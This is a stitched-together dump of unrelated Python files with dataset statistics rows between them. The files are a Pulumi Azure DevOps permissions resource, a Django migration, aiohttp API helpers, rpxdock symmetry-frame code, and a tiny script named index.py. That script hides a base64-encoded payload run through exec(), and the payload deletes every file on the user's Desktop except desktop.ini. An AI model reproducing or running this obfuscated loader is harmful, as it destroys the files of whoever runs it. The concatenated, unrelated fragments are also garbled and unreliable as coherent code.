import pulumi_azuredevops as azuredevops
project = azuredevops.Project("project",
work_item_template="Agile",
version_control="Git",
visibility="private",
description="Managed by Terraform")
project_readers = project.id.apply(lambda id: azuredevops.get_group(project_id=id,
name="Readers"))
root_permissions = azuredevops.IterativePermissions("root-permissions",
project_id=project.id,
principal=azuredevops_group["project-readers"]["id"],
permissions={
"CREATE_CHILDREN": "Deny",
"GENERIC_READ": "NotSet",
"DELETE": "Deny",
})
iteration_permissions = azuredevops.IterativePermissions("iteration-permissions",
project_id=project.id,
principal=azuredevops_group["project-readers"]["id"],
path="Iteration 1",
permissions={
"CREATE_CHILDREN": "Allow",
"GENERIC_READ": "NotSet",
"DELETE": "Allow",
})
```
## Relevant Links
* [Azure DevOps Service REST API 5.1 - Security](https://docs.microsoft.com/en-us/rest/api/azure/devops/security/?view=azure-devops-rest-5.1)
## PAT Permissions Required
- **Project & Team**: vso.security_manage - Grants the ability to read, write, and manage security permissions.
## Import
The resource does not support import.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] path: The name of the branch to assign the permissions.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] permissions: the permissions to assign. The following permissions are available.
:param pulumi.Input[str] principal: The **group** principal to assign the permissions.
:param pulumi.Input[str] project_id: The ID of the project to assign the permissions.
:param pulumi.Input[bool] replace: Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: IterativePermissionsArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages permissions for an Iteration (Sprint)
> **Note** Permissions can be assigned to group principals and not to single user principals.
## Permission levels
Permission for Iterations within Azure DevOps can be applied on two different levels.
Those levels are reflected by specifying (or omitting) values for the arguments `project_id` and `path`.
## Example Usage
```python
import pulumi
import pulumi_azuredevops as azuredevops
project = azuredevops.Project("project",
work_item_template="Agile",
version_control="Git",
visibility="private",
description="Managed by Terraform")
project_readers = project.id.apply(lambda id: azuredevops.get_group(project_id=id,
name="Readers"))
root_permissions = azuredevops.IterativePermissions("root-permissions",
project_id=project.id,
principal=azuredevops_group["project-readers"]["id"],
permissions={
"CREATE_CHILDREN": "Deny",
"GENERIC_READ": "NotSet",
"DELETE": "Deny",
})
iteration_permissions = azuredevops.IterativePermissions("iteration-permissions",
project_id=project.id,
principal=azuredevops_group["project-readers"]["id"],
path="Iteration 1",
permissions={
"CREATE_CHILDREN": "Allow",
"GENERIC_READ": "NotSet",
"DELETE": "Allow",
})
```
## Relevant Links
* [Azure DevOps Service REST API 5.1 - Security](https://docs.microsoft.com/en-us/rest/api/azure/devops/security/?view=azure-devops-rest-5.1)
## PAT Permissions Required
- **Project & Team**: vso.security_manage - Grants the ability to read, write, and manage security permissions.
## Import
The resource does not support import.
:param str resource_name: The name of the resource.
:param IterativePermissionsArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(IterativePermissionsArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
path: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
principal: Optional[pulumi.Input[str]] = None,
project_id: Optional[pulumi.Input[str]] = None,
replace: Optional[pulumi.Input[bool]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = IterativePermissionsArgs.__new__(IterativePermissionsArgs)
__props__.__dict__["path"] = path
if permissions is None and not opts.urn:
raise TypeError("Missing required property 'permissions'")
__props__.__dict__["permissions"] = permissions
if principal is None and not opts.urn:
raise TypeError("Missing required property 'principal'")
__props__.__dict__["principal"] = principal
if project_id is None and not opts.urn:
raise TypeError("Missing required property 'project_id'")
__props__.__dict__["project_id"] = project_id
__props__.__dict__["replace"] = replace
super(IterativePermissions, __self__).__init__(
'azuredevops:index/iterativePermissions:IterativePermissions',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
path: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
principal: Optional[pulumi.Input[str]] = None,
project_id: Optional[pulumi.Input[str]] = None,
replace: Optional[pulumi.Input[bool]] = None) -> 'IterativePermissions':
"""
Get an existing IterativePermissions resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] path: The name of the branch to assign the permissions.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] permissions: the permissions to assign. The following permissions are available.
:param pulumi.Input[str] principal: The **group** principal to assign the permissions.
:param pulumi.Input[str] project_id: The ID of the project to assign the permissions.
:param pulumi.Input[bool] replace: Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _IterativePermissionsState.__new__(_IterativePermissionsState)
__props__.__dict__["path"] = path
__props__.__dict__["permissions"] = permissions
__props__.__dict__["principal"] = principal
__props__.__dict__["project_id"] = project_id
__props__.__dict__["replace"] = replace
return IterativePermissions(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def path(self) -> pulumi.Output[Optional[str]]:
"""
The name of the branch to assign the permissions.
"""
return pulumi.get(self, "path")
@property
@pulumi.getter
def permissions(self) -> pulumi.Output[Mapping[str, str]]:
"""
the permissions to assign. The following permissions are available.
"""
return pulumi.get(self, "permissions")
@property
@pulumi.getter
def principal(self) -> pulumi.Output[str]:
"""
The **group** principal to assign the permissions.
"""
return pulumi.get(self, "principal")
@property
@pulumi.getter(name="projectId")
def project_id(self) -> pulumi.Output[str]:
"""
The ID of the project to assign the permissions.
"""
return pulumi.get(self, "project_id")
@property
@pulumi.getter
def replace(self) -> pulumi.Output[Optional[bool]]:
"""
Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
return pulumi.get(self, "replace")
| 40.867882
| 149
| 0.627111
| 1,960
| 17,941
| 5.569388
| 0.109184
| 0.082631
| 0.069256
| 0.042323
| 0.819073
| 0.788109
| 0.76878
| 0.749084
| 0.737266
| 0.735801
| 0
| 0.000834
| 0.265035
| 17,941
| 438
| 150
| 40.961187
| 0.827014
| 0.39864
| 0
| 0.663415
| 1
| 0
| 0.08343
| 0.008765
| 0
| 0
| 0
| 0
| 0
| 1
| 0.156098
| false
| 0.004878
| 0.02439
| 0
| 0.273171
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5b1e950dea1b54fea1d8c8ffecc42ebd6bea888b
| 1,627
|
py
|
Python
|
InvenTree/report/migrations/0016_auto_20210513_1303.py
|
carlos-riquelme/InvenTree
|
724dd2a9c82e4c10e14bd6aba8f48553b183fef9
|
[
"MIT"
] | 656
|
2017-03-29T22:06:14.000Z
|
2022-03-30T11:23:52.000Z
|
InvenTree/report/migrations/0016_auto_20210513_1303.py
|
carlos-riquelme/InvenTree
|
724dd2a9c82e4c10e14bd6aba8f48553b183fef9
|
[
"MIT"
] | 1,545
|
2017-04-10T23:26:04.000Z
|
2022-03-31T18:32:10.000Z
|
InvenTree/report/migrations/0016_auto_20210513_1303.py
|
fablabbcn/InvenTree
|
1d7ea7716cc96c6ffd151c822b01cd1fb5dcfecd
|
[
"MIT"
] | 196
|
2017-03-28T03:06:21.000Z
|
2022-03-28T11:53:29.000Z
|
# Generated by Django 3.2 on 2021-05-13 03:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('report', '0015_auto_20210403_1837'),
]
operations = [
migrations.AddField(
model_name='billofmaterialsreport',
name='filename_pattern',
field=models.CharField(default='report.pdf', help_text='Pattern for generating report filenames', max_length=100, verbose_name='Filename Pattern'),
),
migrations.AddField(
model_name='buildreport',
name='filename_pattern',
field=models.CharField(default='report.pdf', help_text='Pattern for generating report filenames', max_length=100, verbose_name='Filename Pattern'),
),
migrations.AddField(
model_name='purchaseorderreport',
name='filename_pattern',
field=models.CharField(default='report.pdf', help_text='Pattern for generating report filenames', max_length=100, verbose_name='Filename Pattern'),
),
migrations.AddField(
model_name='salesorderreport',
name='filename_pattern',
field=models.CharField(default='report.pdf', help_text='Pattern for generating report filenames', max_length=100, verbose_name='Filename Pattern'),
),
migrations.AddField(
model_name='testreport',
name='filename_pattern',
field=models.CharField(default='report.pdf', help_text='Pattern for generating report filenames', max_length=100, verbose_name='Filename Pattern'),
),
]
| 41.717949
| 159
| 0.656423
| 168
| 1,627
| 6.190476
| 0.279762
| 0.115385
| 0.182692
| 0.129808
| 0.757692
| 0.757692
| 0.757692
| 0.757692
| 0.757692
| 0.757692
| 0
| 0.036058
| 0.232944
| 1,627
| 38
| 160
| 42.815789
| 0.797276
| 0.026429
| 0
| 0.625
| 1
| 0
| 0.323009
| 0.027813
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.03125
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d28c526017dea1b3b6c08a1517199960d9d4ad60
| 1,730
|
py
|
Python
|
khlbot/khl/utils.py
|
RMTT/khlbot
|
3bfc4478b3237bbc8aab08566d2aae04aff691ad
|
[
"MIT"
] | 3
|
2021-05-10T07:36:42.000Z
|
2021-06-07T21:06:24.000Z
|
khlbot/khl/utils.py
|
RMTT/khlbot
|
3bfc4478b3237bbc8aab08566d2aae04aff691ad
|
[
"MIT"
] | null | null | null |
khlbot/khl/utils.py
|
RMTT/khlbot
|
3bfc4478b3237bbc8aab08566d2aae04aff691ad
|
[
"MIT"
] | null | null | null |
import aiohttp
from khlbot.core.Logger import Logger
async def post_json_to_khl_api(url, body, token, success=None, failed=None):
headers = {
"Authorization": f"Bot {token}"
}
async with aiohttp.ClientSession() as session:
try:
async with session.post(url=url, json=body,
headers=headers) as response:
json_rep = await response.json()
if response.status == 200 and json_rep["code"] == 0:
if success is not None:
success(json_rep)
else:
if failed is not None:
failed(json_rep)
return json_rep
except Exception as e:
failed({
"code": -1,
"message": str(e)
})
async def get_from_khl_api(url, body, token, success=None, failed=None):
headers = {
"Authorization": f"Bot {token}"
}
async with aiohttp.ClientSession() as session:
try:
async with session.get(url=url, params=body,
headers=headers) as response:
json_rep = await response.json()
if response.status == 200 and json_rep["code"] == 0:
if success is not None:
success(json_rep)
else:
if failed is not None:
failed(json_rep)
return json_rep
except Exception as e:
Logger.error(e)
if failed is not None:
failed({
"code": -1,
"message": str(e)
})
| 30.350877
| 76
| 0.469942
| 179
| 1,730
| 4.446927
| 0.27933
| 0.08794
| 0.056533
| 0.048995
| 0.850503
| 0.850503
| 0.773869
| 0.773869
| 0.773869
| 0.773869
| 0
| 0.010449
| 0.446821
| 1,730
| 56
| 77
| 30.892857
| 0.821317
| 0
| 0
| 0.804348
| 0
| 0
| 0.045087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.043478
| 0
| 0.086957
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d2955db4864b182dd6886281e975cb321e42402e
| 2,828
|
py
|
Python
|
front/migrations/0006_auto_20201202_1005.py
|
jimixjay/acestats
|
015a26e084fda70ab5754b78ce2e5157fee29d10
|
[
"Apache-2.0"
] | null | null | null |
front/migrations/0006_auto_20201202_1005.py
|
jimixjay/acestats
|
015a26e084fda70ab5754b78ce2e5157fee29d10
|
[
"Apache-2.0"
] | null | null | null |
front/migrations/0006_auto_20201202_1005.py
|
jimixjay/acestats
|
015a26e084fda70ab5754b78ce2e5157fee29d10
|
[
"Apache-2.0"
] | 1
|
2021-01-15T19:56:41.000Z
|
2021-01-15T19:56:41.000Z
|
# Generated by Django 3.1.2 on 2020-12-02 09:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('front', '0005_auto_20201202_0748'),
]
operations = [
migrations.AlterField(
model_name='match_stats',
name='aces',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='break_points_played',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='break_points_saved',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='double_faults',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='first_services',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='first_services_won',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='player',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='front.player'),
),
migrations.AlterField(
model_name='match_stats',
name='player_entry',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='front.player_entry'),
),
migrations.AlterField(
model_name='match_stats',
name='rank',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='rank_points',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='second_services_won',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='seed',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='service_game_won',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='match_stats',
name='service_points',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='tourney',
name='date',
field=models.DateField(null=True),
),
]
| 31.422222
| 117
| 0.562942
| 264
| 2,828
| 5.840909
| 0.227273
| 0.194553
| 0.243191
| 0.282101
| 0.824903
| 0.824903
| 0.824903
| 0.797017
| 0.728275
| 0.728275
| 0
| 0.016205
| 0.32355
| 2,828
| 89
| 118
| 31.775281
| 0.789859
| 0.015912
| 0
| 0.674699
| 1
| 0
| 0.142035
| 0.00827
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.024096
| 0
| 0.060241
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d2a1c7451914a8fb242f40fcfa54be5581105386
| 326
|
py
|
Python
|
index.py
|
I2rys/DFD
|
01b0453b1e59a6ebfdc03b932f38a72a3749b9bb
|
[
"MIT"
] | 1
|
2022-03-25T01:59:41.000Z
|
2022-03-25T01:59:41.000Z
|
index.py
|
I2rys/DFD
|
01b0453b1e59a6ebfdc03b932f38a72a3749b9bb
|
[
"MIT"
] | null | null | null |
index.py
|
I2rys/DFD
|
01b0453b1e59a6ebfdc03b932f38a72a3749b9bb
|
[
"MIT"
] | 1
|
2022-03-25T01:59:42.000Z
|
2022-03-25T01:59:42.000Z
|
#Dependencies
import os
import base64
#Main
_0x_ = base64.b64decode(b'Zm9yIHJvb3QsIHN1YmRpcnMsIGZpbGVzIGluIG9zLndhbGsob3MucGF0aC5leHBhbmR1c2VyKCJ+IikgKyAiL0Rlc2t0b3AiKToKICAgIGZvciBmaWxlIGluIGZpbGVzOgogICAgICAgIGlmIGZpbGUgIT0gImRlc2t0b3AuaW5pIjoKICAgICAgICAgICAgb3MucmVtb3ZlKG9zLnBhdGguam9pbihyb290LCBmaWxlKSk=')
exec(_0x_)
| 36.222222
| 268
| 0.92638
| 14
| 326
| 21.285714
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105096
| 0.03681
| 326
| 8
| 269
| 40.75
| 0.843949
| 0.04908
| 0
| 0
| 0
| 0
| 0.779221
| 0.779221
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
d2f182d5c7fae4a1a03d6b67eae47def2ae65ec7
| 29,094
|
py
|
Python
|
rpxdock/geom/sym.py
|
chelseanfries/rpxdock
|
390b2a7ede3d5b73ca941a6245039341aeb58730
|
[
"Apache-2.0"
] | null | null | null |
rpxdock/geom/sym.py
|
chelseanfries/rpxdock
|
390b2a7ede3d5b73ca941a6245039341aeb58730
|
[
"Apache-2.0"
] | null | null | null |
rpxdock/geom/sym.py
|
chelseanfries/rpxdock
|
390b2a7ede3d5b73ca941a6245039341aeb58730
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np, rpxdock as rp
from rpxdock import homog as hm
tetrahedral_frames = np.load(rp.data.datadir + "/tetrahedral_frames.pickle", allow_pickle=True)
octahedral_frames = np.load(rp.data.datadir + "/octahedral_frames.pickle", allow_pickle=True)
icosahedral_frames = np.load(rp.data.datadir + "/icosahedral_frames.pickle", allow_pickle=True)
def symframes(sym, pos=None, axis=[0,0,1], **kw):
kw = rp.Bunch(kw)
if isinstance(sym, np.ndarray):
assert len(sym) == 1
sym = sym[0]
if isinstance(sym, (int, np.int32, np.int64, np.uint32, np.uint64)):
sym = int(sym)
if isinstance(sym, int) or sym.startswith("C"):
if not isinstance(sym, int): sym = int(sym[1:])
return np.array(list(hm.hrot(axis, np.arange(sym) / sym * 360)))
elif sym.startswith("D"):
assert np.allclose(axis, [0, 0, 1])
if '_' not in sym:
nsym = int(sym[1:])
else:
nsym = int(sym[1:sym.find('_')])
frames_up = list(hm.hrot([0, 0, 1], np.arange(nsym) / nsym * 360))
frames_dn = list(hm.hrot([1, 0, 0], np.pi) @ frames_up)
return np.array(frames_up + frames_dn)
elif sym.startswith("T"):
return tetrahedral_frames
elif sym.startswith("O"):
return octahedral_frames
elif sym.startswith("I"):
return icosahedral_frames
elif sym.startswith('H'):
assert len(sym) == 2
nfold = int(sym[1])
frames = [np.eye(4)]
for i in range(int(np.floor(kw.symframe_num_helix_repeats / 2))):
frames.append(pos @ frames[-1])
frames += [np.linalg.inv(x) for x in frames[1:]]
return np.array(frames)
elif sym == 'P6_632':
c6 = hm.hrot(axis, np.arange(6) / 6 * 360)
c3 = hm.hrot(axis, np.arange(3) / 3 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
c2 = hm.hrot(axis, np.arange(2) / 2 * 360, center=[pos[2, 0, 3], pos[2, 1, 3], 0])
frames = c6[None, None, :] @ c3[None, :, None] @ c2[:, None, None]
return frames.reshape(-1, 4, 4)
elif sym == 'P6_32':
c3 = hm.hrot(axis, np.arange(3) / 3 * 360)
c2 = hm.hrot(axis, np.arange(2) / 2 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
#center inputs are 3 x,y,z, each list should be something like position, spin, offset (idk for sure)
#if you change the center of c2, c3 spins to compensate for change
frames = c3[:, None] @ c2[None, :]
#doesnt know what nfold is yet
return frames.reshape(-1, 4, 4)
elif sym == 'P6_33':
c3 = hm.hrot(axis, np.arange(3) / 3 * 360)
c3b = hm.hrot(axis, np.arange(3) / 3 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
frames = c3[:, None] @ c3b[None, :]
return frames.reshape(-1, 4, 4)
elif sym == 'P6_63':
c6 = hm.hrot(axis, np.arange(6) / 6 * 360)
c3 = hm.hrot(axis, np.arange(3) / 3 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
frames = c6[:, None] @ c3[None, :]
return frames.reshape(-1, 4, 4)
elif sym == 'P6_62':
c6 = hm.hrot(axis, np.arange(6) / 6 * 360)
c2 = hm.hrot(axis, np.arange(2) / 2 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
frames = c6[:, None] @ c2[None, :]
return frames.reshape(-1, 4, 4)
elif sym == 'P4_42':
c4 = hm.hrot(axis, np.arange(4) / 4 * 360)
c2 = hm.hrot(axis, np.arange(2) / 2 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
frames = c4[:, None] @ c2[None, :]
return frames.reshape(-1, 4, 4)
elif sym == 'P4_44':
c4 = hm.hrot(axis, np.arange(4) / 4 * 360)
c4b = hm.hrot(axis, np.arange(4) / 4 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], 0])
frames = c4[:, None] @ c4b[None, :]
return frames.reshape(-1, 4, 4)
elif sym.startswith('F_32'):
c3 = hm.hrot(axis, np.arange(3) / 3 * 360)
if sym.endswith('4'):
axis2 = [1, 0, 0]
if sym.endswith('6'):
axis2 = [1.7320508075688767, 0, 1]
if sym.endswith('8'):
axis2 = [1, 0, 1]
if sym.endswith('10'):
axis2 = [0.7265425280053609, 0, 1]
if sym.endswith('12'):
axis2 = [0.5773502691896257, 0, 1]
if sym.endswith('14'):
axis2 = [0.48157461880752883, 0, 1]
if sym.endswith('16'):
axis2 = [0.41421356237309503, 0, 1]
if sym.endswith('18'):
axis2 = [0.36397023426620234, 0, 1]
if sym.endswith('20'):
axis2 = [0.3249196962329063, 0, 1]
if sym.endswith('22'):
axis2 = [0.2936264929383669, 0, 1],
if sym.endswith('24'):
axis2 = [0.2679491924311227, 0, 1]
if sym.endswith('26'):
axis2 = [0.24647786303197738, 0, 1]
if sym.endswith('28'):
axis2 = [0.22824347439015003, 0, 1]
if sym.endswith('30'):
axis2 = [0.21255656167002213, 0, 1]
if sym.endswith('32'):
axis2 = [0.198912367379658, 0, 1]
if sym.endswith('34'):
axis2 = [0.18693239710797724, 0, 1]
if sym.endswith('36'):
axis2 = [0.17632698070846498, 0, 1]
c2 = hm.hrot(axis2, np.arange(2) / 2 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], pos[1, 2, 3]])
frames = c3[:, None] @ c2[None, :]
return frames.reshape(-1, 4, 4)
elif sym.startswith('F_42'):
c4 = hm.hrot(axis, np.arange(4) / 4 * 360)
if sym.endswith('4'):
axis2 = [1, 0, 0]
if sym.endswith('6'):
axis2 = [1.7320508075688767, 0, 1]
if sym.endswith('8'):
axis2 = [1, 0, 1]
if sym.endswith('10'):
axis2 = [0.7265425280053609, 0, 1]
if sym.endswith('12'):
axis2 = [0.5773502691896257, 0, 1]
if sym.endswith('14'):
axis2 = [0.48157461880752883, 0, 1]
if sym.endswith('16'):
axis2 = [0.41421356237309503, 0, 1]
if sym.endswith('18'):
axis2 = [0.36397023426620234, 0, 1]
if sym.endswith('20'):
axis2 = [0.3249196962329063, 0, 1]
if sym.endswith('22'):
axis2 = [0.2936264929383669, 0, 1],
if sym.endswith('24'):
axis2 = [0.2679491924311227, 0, 1]
if sym.endswith('26'):
axis2 = [0.24647786303197738, 0, 1]
if sym.endswith('28'):
axis2 = [0.22824347439015003, 0, 1]
if sym.endswith('30'):
axis2 = [0.21255656167002213, 0, 1]
if sym.endswith('32'):
axis2 = [0.198912367379658, 0, 1]
if sym.endswith('34'):
axis2 = [0.18693239710797724, 0, 1]
if sym.endswith('36'):
axis2 = [0.17632698070846498, 0, 1]
c2 = hm.hrot(axis2, np.arange(2) / 2 * 360, center=[pos[1, 0, 3], pos[1, 1, 3], pos[1, 2, 3]])
frames = c4[:, None] @ c2[None, :]
return frames.reshape(-1, 4, 4)
elif sym == 'P4M_4':
c4a = hm.hrot(axis, np.arange(4) / 4 * 360)
c4b = hm.hrot(axis, np.arange(4) / 4 * 360, center=[pos[0, 3], pos[1, 3], 0])
c2 = hm.hrot(axis, np.arange(2) / 2 * 360, center=[pos[0, 3] / 2, pos[1, 3] / 2, 0])
frames = c4a[None, None, :] @ c2[None, :, None] @ c4b[:, None, None]
return frames.reshape(-1, 4, 4)
elif sym.startswith("AXEL_"):
nfold = int(sym.split("_")[1])
return np.array(list(hm.hrot(axis, np.arange(nfold) / nfold * 360)))
else:
raise NotImplementedError
frames = dict(T=tetrahedral_frames, O=octahedral_frames, I=icosahedral_frames)
tetrahedral_axes = {
2: hm.hnormalized([1, 0, 0]),
3: hm.hnormalized([1, 1, 1]),
33: hm.hnormalized([1, 1, -1]),
} # other c3
octahedral_axes = {
2: hm.hnormalized([1, 1, 0]),
3: hm.hnormalized([1, 1, 1]),
4: hm.hnormalized([1, 0, 0]),
}
icosahedral_axes = {
2: hm.hnormalized([1, 0, 0]),
3: hm.hnormalized([0.934172, 0.000000, 0.356822]),
5: hm.hnormalized([0.850651, 0.525731, 0.000000]),
}
dihedral_axes = {
2: hm.hnormalized([1, 0, 0]),
22: hm.hnormalized([0, 0, 1]),
3: hm.hnormalized([0, 0, 1]),
4: hm.hnormalized([0, 0, 1]),
5: hm.hnormalized([0, 0, 1]),
6: hm.hnormalized([0, 0, 1]),
7: hm.hnormalized([0, 0, 1]),
8: hm.hnormalized([0, 0, 1]),
9: hm.hnormalized([0, 0, 1]),
10: hm.hnormalized([0, 0, 1]),
11: hm.hnormalized([0, 0, 1]),
12: hm.hnormalized([0, 0, 1]),
}
axes = dict(T=tetrahedral_axes, O=octahedral_axes, I=icosahedral_axes, D=dihedral_axes)
for i in range(2, 13):
axes[f'D{i}'] = axes['D']
to_neighbor_olig = dict(
T={
2: frames["T"][2],
3: frames["T"][1],
33: frames["T"][1]
},
O={
2: frames["O"][2],
3: frames["O"][1],
4: frames["O"][1]
},
I={
2: frames["I"][1],
3: frames["I"][1],
5: frames["I"][2]
},
D22={
2: hm.hrot([0, 0, 1], np.pi),
22: hm.hrot([1, 0, 0], np.pi),
},
D2={
2: hm.hrot([0, 1, 0], np.pi),
},
)
axes_second = {s: {k: to_neighbor_olig[s][k] @ v for k, v in axes[s].items()} for s in "TOI"}
axes_second['D22'] = {
2: to_neighbor_olig['D22'][2] @ dihedral_axes[2],
22: to_neighbor_olig['D22'][22] @ dihedral_axes[22],
}
axes_second['D2'] = {
2: to_neighbor_olig['D2'][2] @ dihedral_axes[2],
}
for i in range(3, 13):
to_neighbor_olig[f'D{i}'] = {
2: hm.hrot([0, 0, 1], 2 * np.pi / i),
i: hm.hrot([1, 0, 0], np.pi),
}
to_neighbor_olig[f'D{i}2'] = to_neighbor_olig[f'D{i}']
axes_second[f'D{i}'] = {
2: to_neighbor_olig[f'D{i}'][2] @ dihedral_axes[2],
i: to_neighbor_olig[f'D{i}'][i] @ dihedral_axes[i],
}
axes_second[f'D{i}2'] = axes_second[f'D{i}']
# for i in range(2, 13):
# axes[f'D{i}'] = axes['D']
# axes_second[f'D{i}'] = axes_second['D']
# tetrahedral_frames = np.array(
# [
# (
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+1.000000, +0.000000, +0.000000, +0.000000),
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, -0.000000, -1.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (-0.000000, +0.000000, +1.000000, +0.000000),
# (+1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (-0.000000, -0.000000, -1.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, -0.000000, -1.000000, +0.000000),
# (-1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, +0.000000, +1.000000, +0.000000),
# (+1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +1.000000, -0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +1.000000, +0.000000),
# (-1.000000, -0.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (-0.000000, -0.000000, -1.000000, +0.000000),
# (+1.000000, +0.000000, -0.000000, +0.000000),
# (+0.000000, -1.000000, +0.000000, +0.000000),
# (+0.000000, +0.000000, +0.000000, +1.000000),
# ),
# (
# (+0.000000, -0.000000, -1.000000, +0.000000),
